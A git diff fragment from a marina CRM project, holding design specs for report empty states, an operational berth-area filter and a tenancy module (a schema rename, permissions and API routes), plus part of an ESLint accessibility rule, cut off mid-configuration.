interest's EOI state = sent/awaiting + the Documenso envelope linked, so the new
|
||||||
|
CRM's webhook/poll completes them and the UI shows "Waiting for signatures."
|
||||||
|
Reconcile the 6 Documenso PENDING: 3 link to deals (in-flight above); 3 are
|
||||||
|
abandoned re-sends of already-signed deals → void-review before crossover.
|
||||||
|
|
||||||
|
Remaining: spot-check 5 deals end-to-end after load.
|
||||||
|
|
||||||
|
## 7. Deliverables (scripts/migration/)
|
||||||
|
|
||||||
|
- `probe-minio.ts` — bucket inventory (Phase 2 sizing; answers "are the
|
||||||
|
business cards there?").
|
||||||
|
- `extract-nocodb.ts` — read the snapshot, emit normalized JSON per entity.
|
||||||
|
- `transform-load.ts` — dedup + map + load via service helpers, idempotent.
|
||||||
|
- `backfill-documents.ts` — Phase 2 EOI/PDF/receipt backfill.
|
||||||
|
- `reconcile.ts` — final report.
|
||||||
|
|
||||||
|
## 8. Decisions locked (2026-06-01)
|
||||||
|
|
||||||
|
- Scope = the 2 active bases only; 9 others excluded; email/Keycloak out.
|
||||||
|
- Extract via read-only pg_dump snapshot (done).
|
||||||
|
- No company entities (legacy has none).
|
||||||
|
- Idempotent, keyed on `legacy_nocodb_id`.
|
||||||
154
docs/superpowers/specs/2026-06-02-reports-polish-design.md
Normal file
154
docs/superpowers/specs/2026-06-02-reports-polish-design.md
Normal file
@@ -0,0 +1,154 @@
|
|||||||
|
# Reports polish — beta-finish design
|
||||||
|
|
||||||
|
**Date:** 2026-06-02
|
||||||
|
**Initiative:** Launch-readiness Initiative 1 (Reports overhaul) — "Reports — what's left" gap audit.
|
||||||
|
**Goal (locked with user):** make the reports surface _feel finished for beta_ — every report opens cleanly even on an empty port, plus a modest, obviously-useful Operational filter. Not a deep power-filtering pass.
|
||||||
|
|
||||||
|
## Scope
|
||||||
|
|
||||||
|
Two pieces:
|
||||||
|
|
||||||
|
1. **Report-level empty states** across Sales · Operational · Financial — one friendly "add X to see this" hero when the port has no underlying data, instead of a page scattered with per-chart "No data" badges.
|
||||||
|
2. **Operational Area filter** — a single berth-area multi-select that scopes the whole Operational report's berth-derived surfaces.
|
||||||
|
|
||||||
|
### Out of scope (deferred, recorded in launch-readiness)
|
||||||
|
|
||||||
|
- **Status filter** on Operational — turned out to be a _light_ filter here (can't retro-apply to historical trend charts; the vacant lists are available-by-definition). Defer until there's a general berth-inventory table where Status is genuinely useful.
|
||||||
|
- Other Operational dimensions (tenure type, document type).
|
||||||
|
- Rep / source filters on Operational — they don't map (berths have no assigned rep; tenancies have no lead source).
|
||||||
|
- Custom-builder, scheduling, and template gaps from the same audit.
|
||||||
|
|
||||||
|
## Decisions locked
|
||||||
|
|
||||||
|
| Question | Decision |
|
||||||
|
| ----------------------------- | ------------------------------------------------------------------------------------- |
|
||||||
|
| Polish goal | "Make reports feel finished for beta" (empty states + modest filter) |
|
||||||
|
| Operational filter dimensions | Area + Status chosen → **narrowed to Area only** after the Status-is-light finding |
|
||||||
|
| Operational filter reach | **Approach A — berth scope**: filters re-query the berth-derived surfaces server-side |
|
||||||
|
| Status handling | **Drop for now**; ship Area as the real scope |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Piece 1 — Report-level empty states
|
||||||
|
|
||||||
|
### Data flow
|
||||||
|
|
||||||
|
Each report's GET route adds one field, `hasData: boolean`, to its `data` payload. It is a **window-independent, port-scoped existence check** (ignores the selected date range) via a tiny `SELECT 1 … LIMIT 1` helper per report:
|
||||||
|
|
||||||
|
- **Sales** (`/api/v1/reports/sales`) → does the port have **any** `interests` row?
|
||||||
|
- **Operational** (`/api/v1/reports/operational`) → does the port have **any** `berths` row?
|
||||||
|
- **Financial** (`/api/v1/reports/financial`) → does the port have **any** `payments` row **or** **any** `expenses` row?
|
||||||
|
|
||||||
|
Window-independence is the design crux: it distinguishes a _brand-new port_ (show the onboarding hero) from _a port with history but nothing in the selected 30 days_ (show the normal report, whose per-chart empty states already degrade gracefully). Client-side inference from the payload can't tell those two apart — hence a server flag.
|
||||||
|
|
||||||
|
### Component
|
||||||
|
|
||||||
|
New `src/components/reports/shared/report-empty-state.tsx`:
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
interface ReportEmptyStateProps {
|
||||||
|
icon: LucideIcon;
|
||||||
|
title: string;
|
||||||
|
body: string;
|
||||||
|
actionLabel: string;
|
||||||
|
actionHref: Route;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
A centered hero: named Lucide icon, title, one-line body, primary `Button` → `Link`. Visual language extends the existing inline `EmptyState` in `sales-report-client.tsx` (muted, centered) but elevated to full-report scale (more vertical padding, larger icon). Lives in `reports/shared/` so all three clients import it. No decorative emoji — named icon components only.
|
||||||
|
|
||||||
|
### Client wiring (3 report clients)
|
||||||
|
|
||||||
|
After the query resolves: if `data && data.hasData === false`, render `<ReportEmptyState .../>` in place of the report body. **Keep the `PageHeader`** so the page retains its title; disable the export/template buttons (no data to export). Keep skeletons while `query.isLoading`.
|
||||||
|
|
||||||
|
### Copy + targets
|
||||||
|
|
||||||
|
Plain text, no emoji.
|
||||||
|
|
||||||
|
| Report | Icon | Title | Body | Action → href |
|
||||||
|
| ----------- | ------------ | --------------------------- | ---------------------------------------------------------------------------------------------------------- | ------------------------------------------- |
|
||||||
|
| Sales | `TrendingUp` | "No sales activity yet" | "Once you add clients and log interests, this report fills with win rates, pipeline value, and deal heat." | "Add an interest" → `/[portSlug]/interests` |
|
||||||
|
| Operational | `Anchor` | "No berths yet" | "Add berths to see utilisation, occupancy, and signing turnaround." | "Add berths" → `/[portSlug]/berths` |
|
||||||
|
| Financial | `Wallet` | "No financial activity yet" | "Record a payment on a deal or log an expense to see revenue, deposits, and cash flow." | "Go to expenses" → `/[portSlug]/expenses` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Piece 2 — Operational Area filter (Approach A: berth scope)
|
||||||
|
|
||||||
|
### Parsing
|
||||||
|
|
||||||
|
New pure, unit-tested module `src/lib/services/reports/operational-filters.ts`, mirroring `sales-filters.ts`:
|
||||||
|
|
||||||
|
- `OperationalFilters = { areas?: string[] }` — extensible shape (Status can be added later without a rename).
|
||||||
|
- `parseOperationalFilters(params: URLSearchParams): OperationalFilters | undefined` — reads the `area` CSV param as a free list (port-defined strings; Drizzle parameterizes the downstream `inArray`, so unvalidated values are injection-safe). Empty/whitespace entries dropped. Returns `undefined` when no areas → no filter.
|
||||||
|
|
||||||
|
### Area options
|
||||||
|
|
||||||
|
New `getOperationalAreaOptions(portId: string): Promise<string[]>` — `SELECT DISTINCT area FROM berths WHERE port_id = ? AND area IS NOT NULL ORDER BY area`. Returned in the payload as `areaOptions` (mirrors Sales' `repOptions`). The shared `FilterBar` auto-hides a multi-select with no options, so the Area control simply doesn't render for a port with no areas defined.
|
||||||
|
|
||||||
|
### Where Area applies
|
||||||
|
|
||||||
|
Area is a **scope** over the berth-derived surfaces. It threads into these service fns as an optional `filters?: OperationalFilters` arg, adding `inArray(berths.area, filters.areas)` when present (index-backed by `idx_berths_area`):
|
||||||
|
|
||||||
|
- `getOperationalKpis` (berth counts: total / sold % / under-offer %)
|
||||||
|
- `getOccupancyByArea`
|
||||||
|
- `getUtilisationHeatmap`
|
||||||
|
- `getVacantBerths`
|
||||||
|
- `getHighestValueVacant`
|
||||||
|
|
||||||
|
**Left port-wide (unfiltered):** status-mix-over-time trend, tenancy churn / tenure / ending-soon, signing box plot, documents-in-pipeline, stuck-signing. A small caption ("Scoped to {areas}") appears on the filtered cards; the port-wide panels are visually unchanged.
|
||||||
|
|
||||||
|
### UI
|
||||||
|
|
||||||
|
The Operational report adds the shared `FilterBar` with a **single Area multi-select**, placed at the **top of the report next to the `DateRangePicker`** — because Area scopes the whole report (unlike Sales, where the FilterBar sits above the detail tables because it only scopes those tables). The Operational report currently has no FilterBar; this introduces it.
|
||||||
|
|
||||||
|
### Template config
|
||||||
|
|
||||||
|
The Operational template config (`{ kind: 'operational', range, statusMixMode }`) gains `filters: { areas?: string[] }` so a saved template round-trips its area scope. Changing the area clears the active-template badge (same pattern as `handleRangeChange` / Sales `handleFilterChange`); applying a template restores it via the raw setter.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
**New (4):**
|
||||||
|
|
||||||
|
- `src/lib/services/reports/operational-filters.ts` — `parseOperationalFilters` + `getOperationalAreaOptions`
|
||||||
|
- `src/components/reports/shared/report-empty-state.tsx` — shared hero
|
||||||
|
- `tests/unit/reports/operational-filters.test.ts`
|
||||||
|
- `tests/unit/reports/report-has-data.test.ts` — the three existence helpers
|
||||||
|
|
||||||
|
**Modified (~10):**
|
||||||
|
|
||||||
|
- `src/app/api/v1/reports/sales/route.ts` — `+ hasData`
|
||||||
|
- `src/app/api/v1/reports/operational/route.ts` — `+ hasData`, `+ areaOptions`, parse + thread area filter
|
||||||
|
- `src/app/api/v1/reports/financial/route.ts` — `+ hasData`
|
||||||
|
- `src/components/reports/sales/sales-report-client.tsx` — empty-state wiring
|
||||||
|
- `src/components/reports/operational/operational-report-client.tsx` — empty-state + FilterBar/area scope + template config
|
||||||
|
- `src/components/reports/financial/financial-report-client.tsx` — empty-state wiring
|
||||||
|
- `src/lib/services/reports/operational.service.ts` — optional `filters` on 5 fns + area-options query + `operationalHasData(portId)` helper
|
||||||
|
- `src/lib/services/reports/sales.service.ts` — `salesHasData(portId)` helper
|
||||||
|
- `src/lib/services/reports/financial.service.ts` — `financialHasData(portId)` helper
|
||||||
|
|
||||||
|
Each `hasData` helper lives in its report's service file alongside that report's other queries (consistent with the existing one-service-per-report layout), and is the single existence check the route awaits in its `Promise.all`.
|
||||||
|
|
||||||
|
- `docs/launch-readiness.md` — mark the empty-state + Operational-filter items shipped
|
||||||
|
|
||||||
|
## Testing (TDD)
|
||||||
|
|
||||||
|
Write tests first:
|
||||||
|
|
||||||
|
1. `parseOperationalFilters` — single area, CSV multi, whitespace trimming, empty → `undefined`, no `area` param → `undefined`.
|
||||||
|
2. The three `hasData` helpers — return `false` for a port with no rows, `true` once a row exists, correct port isolation.
|
||||||
|
|
||||||
|
Then implement to green, then browser-verify on `port-nimara`:
|
||||||
|
|
||||||
|
- Area multi-select renders, narrows occupancy-by-area + vacant lists + berth-count KPIs; port-wide panels unchanged; "Scoped to {area}" caption shows.
|
||||||
|
- Empty-state heroes render for an empty port (force `hasData=false` if `port-nimara` has data) with correct copy + working action links.
|
||||||
|
- `pnpm exec tsc --noEmit` clean; affected unit tests green.
|
||||||
|
|
||||||
|
## Edge cases
|
||||||
|
|
||||||
|
- Berths with `area = NULL` — excluded from `areaOptions`; an active area filter hides them (correct: they're not in any selected area).
|
||||||
|
- Area filter matching nothing → filtered surfaces fall back to their existing per-chart empty states (NOT the report-level hero, because the port _does_ have data).
|
||||||
|
- `hasData` ignores the date window entirely — a port with old-but-real data never shows the onboarding hero.
|
||||||
|
- Export/template buttons disabled in the empty-state view (nothing to export).
|
||||||
302
docs/tenancies-design.md
Normal file
302
docs/tenancies-design.md
Normal file
@@ -0,0 +1,302 @@
|
|||||||
|
# Tenancies Module Design
|
||||||
|
|
||||||
|
> **Status:** Design doc. All Q-block decisions locked 2026-05-24 via AskUserQuestion + a follow-up platform-wide module-enabled rule locked 2026-05-25 in the alpha UAT master doc. Implementation phased into discrete PRs at the end.
|
||||||
|
|
||||||
|
## Vocabulary split (the foundational decision)
|
||||||
|
|
||||||
|
The pipeline-stage `reservation` + the signed `Reservation Agreement` **keep their names** — they describe the _right being reserved_, not the _occupancy that results_.
|
||||||
|
|
||||||
|
The occupancy record (`berth_reservations` table + sidebar + entity tabs + top-level page) is **renamed Tenancy**:
|
||||||
|
|
||||||
|
| Concept | Lives in | Name (post-rename) |
|
||||||
|
| -------------------------------------------- | ----------------------------------------------------- | ----------------------------------- |
|
||||||
|
| Pipeline stage where the rep targets a berth | `interests.pipelineStage` | `reservation` (unchanged) |
|
||||||
|
| The signed legal document | `documents` w/ `documentType='reservation_agreement'` | `Reservation Agreement` (unchanged) |
|
||||||
|
| The record of who's tied up at a berth | `tenancies` (was `berth_reservations`) | **Tenancy** |
|
||||||
|
|
||||||
|
A signed Reservation Agreement → results in a Tenancy.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Platform-wide module-enabled rule
|
||||||
|
|
||||||
|
The entire Tenancies module surface is **hidden by default**.
|
||||||
|
|
||||||
|
A sold berth stays sold without any tenancy data — the platform does not assume tenancies exist for sold berths. The module only surfaces when EITHER:
|
||||||
|
|
||||||
|
- **(a) at least one `tenancies` row exists** for the port (lazy auto-enable on first creation, including auto-create from a signed Reservation Agreement), OR
|
||||||
|
- **(b) an admin has explicitly enabled it** via `system_settings.tenancies_module_enabled` (default `false`).
|
||||||
|
|
||||||
|
### When disabled
|
||||||
|
|
||||||
|
- Sidebar entry hidden
|
||||||
|
- Client / Yacht / Berth `Tenancies` tab hidden
|
||||||
|
- All four reporting widgets hidden from dashboard registry
|
||||||
|
- Top-level `/{portSlug}/tenancies` page returns 404
|
||||||
|
- `handleDocumentCompleted` still mints pending tenancies on a signed `reservation_agreement` — we intentionally do NOT gate the auto-create branch on the module flag, because the resulting row is what lazily surfaces the module on a fresh port (rule (a) above). The CRM surface stays hidden until that first insert lands; from then on, both rules (a) and (b) are satisfied.
|
||||||
|
|
||||||
|
### When enabled
|
||||||
|
|
||||||
|
Full module surfaces.
|
||||||
|
|
||||||
|
### Admin toggle
|
||||||
|
|
||||||
|
Admin → Operations → "Tenancies module" Switch:
|
||||||
|
|
||||||
|
- **Helper copy:** "When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform doesn't model the occupancy record."
|
||||||
|
- **Warning on disable with rows:** Modal — "This will hide N existing tenancies. Data is preserved but invisible until re-enabled. Continue?"
|
||||||
|
- **Auto-enable on first insert:** The first row INSERT on `tenancies` flips `tenancies_module_enabled=true` in the same transaction (`pg_advisory_xact_lock` per port to avoid races).
|
||||||
|
- **Never auto-disables.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Data model
|
||||||
|
|
||||||
|
### Rename migration
|
||||||
|
|
||||||
|
```sql
|
||||||
|
-- 008X_rename_reservations_to_tenancies.sql
|
||||||
|
ALTER TABLE berth_reservations RENAME TO tenancies;
|
||||||
|
|
||||||
|
-- Self-FKs for renewals + transfers.
|
||||||
|
ALTER TABLE tenancies
|
||||||
|
ADD COLUMN previous_tenancy_id text REFERENCES tenancies(id) ON DELETE SET NULL,
|
||||||
|
ADD COLUMN transferred_from_tenancy_id text REFERENCES tenancies(id) ON DELETE SET NULL;
|
||||||
|
|
||||||
|
CREATE INDEX tenancies_previous_id_idx ON tenancies(previous_tenancy_id) WHERE previous_tenancy_id IS NOT NULL;
|
||||||
|
CREATE INDEX tenancies_transferred_from_id_idx ON tenancies(transferred_from_tenancy_id) WHERE transferred_from_tenancy_id IS NOT NULL;
|
||||||
|
```
|
||||||
|
|
||||||
|
Schema TypeScript also renames: `src/lib/db/schema/reservations.ts` → `tenancies.ts`, `berthReservations` → `tenancies`. Adjust all imports.
|
||||||
|
|
||||||
|
### `tenure_type` discriminator (unchanged from existing union)
|
||||||
|
|
||||||
|
`permanent | fee_simple | strata_lot | seasonal | fixed_term`
|
||||||
|
|
||||||
|
Behaviour by type:
|
||||||
|
|
||||||
|
| `tenure_type` | Renewals | Public map flip |
|
||||||
|
| ------------- | ----------------------------------------------- | --------------------------- |
|
||||||
|
| `permanent` | Mutate existing row (one record forever) | Sets `berths.status='sold'` |
|
||||||
|
| `fee_simple` | Mutate existing row | Sets `berths.status='sold'` |
|
||||||
|
| `strata_lot` | Mutate existing row | Sets `berths.status='sold'` |
|
||||||
|
| `seasonal` | New row each cycle, `previous_tenancy_id` links | No status flip — temporary |
|
||||||
|
| `fixed_term` | New row each cycle, `previous_tenancy_id` links | No status flip — temporary |
|
||||||
|
|
||||||
|
### Transfers
|
||||||
|
|
||||||
|
Two-step operation:
|
||||||
|
|
||||||
|
1. End old tenancy: `UPDATE tenancies SET status='ended', end_date=transfer_date WHERE id=:old`.
|
||||||
|
2. Mint new tenancy: `INSERT INTO tenancies (..., transferred_from_tenancy_id=:old) VALUES (...)` for the new client.
|
||||||
|
|
||||||
|
Both steps in one transaction; same berth, different client. Preserves history.
|
||||||
|
|
||||||
|
### Module-enabled setting
|
||||||
|
|
||||||
|
Add to `src/lib/settings/registry.ts`:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
{
|
||||||
|
key: 'tenancies_module_enabled',
|
||||||
|
section: 'operations.tenancies',
|
||||||
|
label: 'Tenancies module',
|
||||||
|
description: 'When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform does not model the occupancy record.',
|
||||||
|
type: 'boolean',
|
||||||
|
defaultValue: false,
|
||||||
|
scope: 'port',
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Permissions
|
||||||
|
|
||||||
|
Three new perms in `src/lib/db/seed-permissions.ts`:
|
||||||
|
|
||||||
|
| Perm | Default ON for | Notes |
|
||||||
|
| ------------------ | -------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
|
||||||
|
| `tenancies.view` | super_admin, director, sales_manager, sales_agent, finance_manager, viewer | Read access. |
|
||||||
|
| `tenancies.manage` | super_admin, sales_manager, sales_agent | Create / mutate / transfer. |
|
||||||
|
| `tenancies.cancel` | super_admin, sales_manager | Cancel only. Carved out because cancellation has revenue implications. |
|
||||||
|
|
||||||
|
Every Tenancies surface respects both `tenancies.view` AND `tenancies_module_enabled` — the module-enabled gate is checked first.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Webhook auto-create branch
|
||||||
|
|
||||||
|
Inside `handleDocumentCompleted` (`src/lib/services/documents.service.ts`):
|
||||||
|
|
||||||
|
```ts
|
||||||
|
// After signedFileId is committed + post-completion email queues, branch:
|
||||||
|
if (doc.documentType === 'reservation_agreement') {
|
||||||
|
const moduleEnabled = await isTenanciesModuleEnabled(doc.portId);
|
||||||
|
if (moduleEnabled) {
|
||||||
|
await autoCreatePendingTenancies(doc.portId, doc.interestId, {
|
||||||
|
signedAt: completedAt,
|
||||||
|
sourceDocumentId: doc.id,
|
||||||
|
userId: 'system',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
// Stage advance + reservationDocStatus flip happen regardless.
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`autoCreatePendingTenancies` loops over `interest_berths WHERE interest_id = :interestId AND is_in_eoi_bundle = TRUE` and inserts ONE tenancy row per in-bundle berth (locked Q4 decision: "one tenancy per in-bundle berth"). Status `pending`; rep confirms `startDate` + `tenureType` in a follow-up modal before `pending → active`. Default `startDate = signed date` when not on the doc.
|
||||||
|
|
||||||
|
The first insert in a port flips `tenancies_module_enabled=true` (lazy auto-enable).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Public map status flip
|
||||||
|
|
||||||
|
`src/lib/services/berths.service.ts` (status precedence resolver):
|
||||||
|
|
||||||
|
```
|
||||||
|
sold > under_offer > available
|
||||||
|
|
||||||
|
Sold can come from:
|
||||||
|
1. berths.status = 'sold' (explicit admin set)
|
||||||
|
2. An active tenancy with tenure_type IN ('permanent', 'fee_simple', 'strata_lot') exists for this berth
|
||||||
|
```
|
||||||
|
|
||||||
|
The new branch (2) only fires when `tenancies_module_enabled = true`. When disabled OR the only active tenancies are `seasonal` / `fixed_term`, fall through to existing precedence (under_offer / available based on interest links).
|
||||||
|
|
||||||
|
Reversal: when an active permanent-class tenancy ends + no replacement is active for the same berth, the auto-derived `sold` lifts. Explicit `berths.status='sold'` (admin-set) stays sold.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sidebar entry
|
||||||
|
|
||||||
|
`src/components/layout/sidebar.tsx`: add `Tenancies` entry below `Berths`, gated by:
|
||||||
|
|
||||||
|
- `tenancies.view` permission
|
||||||
|
- `tenancies_module_enabled = true` (resolved server-side; SSR'd into the sidebar so it never flickers in)
|
||||||
|
|
||||||
|
Icon: `KeyRound` from lucide.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Top-level page — `/{portSlug}/tenancies`
|
||||||
|
|
||||||
|
Returns 404 when module disabled. When enabled:
|
||||||
|
|
||||||
|
- Filters: status (active / pending / ended / cancelled), tenure_type, berth-area, client search.
|
||||||
|
- Columns: Berth · Client · Yacht · Tenure type · Status · Start · End · Last renewal.
|
||||||
|
- Row actions: Open detail · Edit · Renew (tenure-type aware) · Transfer · End / Cancel.
|
||||||
|
- Bulk actions: End multiple (with `tenancies.cancel`).
|
||||||
|
- "+ New tenancy" CTA top-right (gated on `tenancies.manage`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Entity-tab CTAs
|
||||||
|
|
||||||
|
On Client / Yacht / Berth detail pages, the existing read-only tenancies tab gets a refreshed empty state when module is enabled but no rows exist:
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────────────────────────────────────────────────────────┐
|
||||||
|
│ [icon] No tenancies yet │
|
||||||
|
│ │
|
||||||
|
│ This <client/yacht/berth> doesn't have any tenancies on file. │
|
||||||
|
│ │
|
||||||
|
│ [ Create tenancy ] (only when user has tenancies.manage) │
|
||||||
|
└─────────────────────────────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
The "Create tenancy" button opens a pre-filled `<TenancyCreateDialog>` with the parent entity already selected. Berth context pre-fills berth_id, Client pre-fills client_id, Yacht pre-fills yacht_id.
|
||||||
|
|
||||||
|
When `tenancies_module_enabled = false`: the whole tab is hidden (entity tabs registry gates).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Reporting widgets (all four, all module-gated)
|
||||||
|
|
||||||
|
Locked Q7: ship all four in v1, every one gated by `tenancies_module_enabled`.
|
||||||
|
|
||||||
|
1. **Occupancy heatmap by month** — Per-berth-area grid: rows = berth areas, columns = months for the active date range, cell shade = % months occupied. Data from `tenancies.startDate / endDate` overlap with each month.
|
||||||
|
2. **Renewals at risk (next 90 days)** — Table of active tenancies whose `endDate IS NOT NULL AND endDate <= now() + 90d AND` no successor row exists yet. Click-through opens the tenancy with "Renew" CTA pre-focused.
|
||||||
|
3. **Revenue forecast by tenure expiry** — Forward projection per quarter: sum of berth-price × remaining-tenure for active rows; bucketed by quarter ending date. Highlights revenue cliffs.
|
||||||
|
4. **Tenancy by tenure type breakdown** — Donut + table of active tenancies grouped by `tenure_type`. Operational mix at a glance.
|
||||||
|
|
||||||
|
Each widget registers in `src/components/dashboard/widget-registry.tsx` with:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
{
|
||||||
|
id: 'tenancy_occupancy_heatmap',
|
||||||
|
label: 'Occupancy heatmap',
|
||||||
|
render: (range) => <TenancyOccupancyHeatmap range={range} />,
|
||||||
|
group: 'chart',
|
||||||
|
defaultVisible: true,
|
||||||
|
selfGates: true,
|
||||||
|
requires: 'tenancies_module', // new gating channel
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The `tenancies_module` integration check resolves to `tenancies_module_enabled === true`. When false → widget filtered out of both the dashboard render AND the customize picker.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Service layer additions
|
||||||
|
|
||||||
|
`src/lib/services/berth-tenancies.service.ts` (renamed from `berth-reservations.service.ts`):
|
||||||
|
|
||||||
|
- `listTenancies({ portId, filters, page })` — gated read.
|
||||||
|
- `createTenancy(portId, data, meta)` — mints a row; also triggers the module-enable flip on first insert.
|
||||||
|
- `updateTenancy(portId, id, data, meta)`.
|
||||||
|
- `renewTenancy(portId, id, data, meta)` — picks mutate-in-place vs new-row branch based on `tenure_type`.
|
||||||
|
- `transferTenancy(portId, id, newClientId, transferDate, meta)`.
|
||||||
|
- `cancelTenancy(portId, id, reason, meta)` — gated on `tenancies.cancel`.
|
||||||
|
- `endTenancy(portId, id, endDate, meta)`.
|
||||||
|
- `autoCreatePendingTenancies(portId, interestId, opts)` — webhook auto-create branch.
|
||||||
|
|
||||||
|
`src/lib/services/tenancies-module.service.ts` (new):
|
||||||
|
|
||||||
|
- `isTenanciesModuleEnabled(portId)` — checks setting OR `EXISTS (SELECT 1 FROM tenancies WHERE port_id = $1)` to surface the lazy state.
|
||||||
|
- `enableTenanciesModule(portId, meta)` — admin-driven enable.
|
||||||
|
- `disableTenanciesModule(portId, meta)` — admin-driven disable; the warning copy lives in the admin UI.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## API surface (`/api/v1/tenancies/*`)
|
||||||
|
|
||||||
|
All routes gated on `tenancies.view` (read) or `tenancies.manage` / `tenancies.cancel` (write). Each handler additionally calls `assertTenanciesModuleEnabled(portId)` first — returns 404 when off (matches the sidebar/top-level page behaviour).
|
||||||
|
|
||||||
|
| Verb | Path | Permission |
|
||||||
|
| ----- | ---------------------------------------- | ----------------------- |
|
||||||
|
| GET | `/api/v1/tenancies` | `tenancies.view` |
|
||||||
|
| GET | `/api/v1/tenancies/[id]` | `tenancies.view` |
|
||||||
|
| POST | `/api/v1/tenancies` | `tenancies.manage` |
|
||||||
|
| PATCH | `/api/v1/tenancies/[id]` | `tenancies.manage` |
|
||||||
|
| POST | `/api/v1/tenancies/[id]/renew` | `tenancies.manage` |
|
||||||
|
| POST | `/api/v1/tenancies/[id]/transfer` | `tenancies.manage` |
|
||||||
|
| POST | `/api/v1/tenancies/[id]/end` | `tenancies.manage` |
|
||||||
|
| POST | `/api/v1/tenancies/[id]/cancel` | `tenancies.cancel` |
|
||||||
|
| GET | `/api/v1/admin/tenancies-module/status` | `admin.manage_settings` |
|
||||||
|
| POST | `/api/v1/admin/tenancies-module/enable` | `admin.manage_settings` |
|
||||||
|
| POST | `/api/v1/admin/tenancies-module/disable` | `admin.manage_settings` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Phased PR plan
|
||||||
|
|
||||||
|
| PR | Scope | Effort | Ships independently |
|
||||||
|
| ------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ------------------------------------------------------------------------------ |
|
||||||
|
| **P1: Rename migration + perms + setting** | `008X_rename_reservations_to_tenancies.sql` + self-FKs + seed `tenancies.view`/`.manage`/`.cancel` + `tenancies_module_enabled` registry entry. Schema files renamed. ALL imports updated. **No behaviour change** — module starts disabled, so reps don't see anything new. | ~6 h | Yes (silent rename; existing consumers keep working through the renamed table) |
|
||||||
|
| **P2: Module-enabled gating infra** | `tenancies-module.service.ts` + admin Operations page Switch + lazy-flip logic + permission helper that combines `tenancies.view` AND module-enabled. | ~4 h | Yes (admin can toggle; rest of app honors the flag) |
|
||||||
|
| **P3: Webhook auto-create branch** | `autoCreatePendingTenancies` + unconditional branch in `handleDocumentCompleted` (no module gate — the inserted row is what surfaces the module via the row-exists fallback in `isTenanciesModuleEnabled`). Vitest covering: first signing on a fresh port surfaces the module; replay is idempotent; stage still advances regardless. | ~5 h | Yes (back-compat — pre-existing reservation flows keep working) |
|
||||||
|
| **P4: Public-map status flip rules** | Status resolver in `berths.service.ts` honors active permanent-class tenancies. Vitest for precedence + module-off behaviour. | ~3 h | Yes |
|
||||||
|
| **P5: Sidebar entry + top-level page** | Sidebar mounts the Tenancies entry behind both gates. New `/{portSlug}/tenancies/page.tsx` with the listing table + filters. 404 when module disabled. | ~6 h | Yes (visible to super_admin first; sales reps see it once perms seed) |
|
||||||
|
| **P6: Entity tab refresh + Create dialog** | Friendly empty state + "Create tenancy" CTA on Client / Yacht / Berth tabs. `<TenancyCreateDialog>` pre-fills from parent context. Edit / Renew / Transfer / End dialogs follow the same idiom. | ~8 h | Yes |
|
||||||
|
| **P7: Reporting widgets** | All four widgets — occupancy heatmap, renewals at risk, revenue forecast, tenure type breakdown — all module-gated via `selfGates: true` + `requires: 'tenancies_module'`. | ~10 h | Yes |
|
||||||
|
|
||||||
|
Total: ~42 h spread across 7 PRs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Open follow-ups (intentionally deferred past v1)
|
||||||
|
|
||||||
|
- **Auto-invoicing on tenancy lifecycle.** Locked: v1 ships READ-ONLY — no auto-invoice on tenancy create / renew / end. Revisit once we see how ports actually use the tenancy data.
|
||||||
|
- **Strict-block duplicate-tenancy toggle.** Locked: out of scope. No admin-configurable "block creating a tenancy if one already exists for this berth." Keep dead-simple now.
|
||||||
|
- **Warning for closed-outcome siblings.** Out of scope.
|
||||||
|
- **Cross-tenant warnings.** Out of scope (already enforced by `port_id` constraints).
|
||||||
|
|
||||||
|
Capture in `docs/BACKLOG.md` after P5 ships.
|
||||||
@@ -33,6 +33,33 @@ const eslintConfig = [
|
|||||||
'react-hooks/refs': 'error',
|
'react-hooks/refs': 'error',
|
||||||
'react-hooks/set-state-in-effect': 'error',
|
'react-hooks/set-state-in-effect': 'error',
|
||||||
'react-hooks/incompatible-library': 'off',
|
'react-hooks/incompatible-library': 'off',
|
||||||
|
// Icon-only buttons must carry a label that screen readers can
|
||||||
|
// surface — either an explicit `aria-label`, an `aria-labelledby`,
|
||||||
|
// a `title`, or a visible-but-sr-only text child. Catches the
|
||||||
|
// pattern where a `<button><Trash2 /></button>` ships with no
|
||||||
|
// accessible name. Default Next config enables this at `error`;
|
||||||
|
// we keep it loud so new code doesn't regress.
|
||||||
|
'jsx-a11y/control-has-associated-label': [
|
||||||
|
'warn',
|
||||||
|
{
|
||||||
|
labelAttributes: ['label'],
|
||||||
|
controlComponents: ['Button'],
|
||||||
|
ignoreElements: ['audio', 'canvas', 'embed', 'input', 'textarea', 'tr', 'video'],
|
||||||
|
ignoreRoles: [
|
||||||
|
'grid',
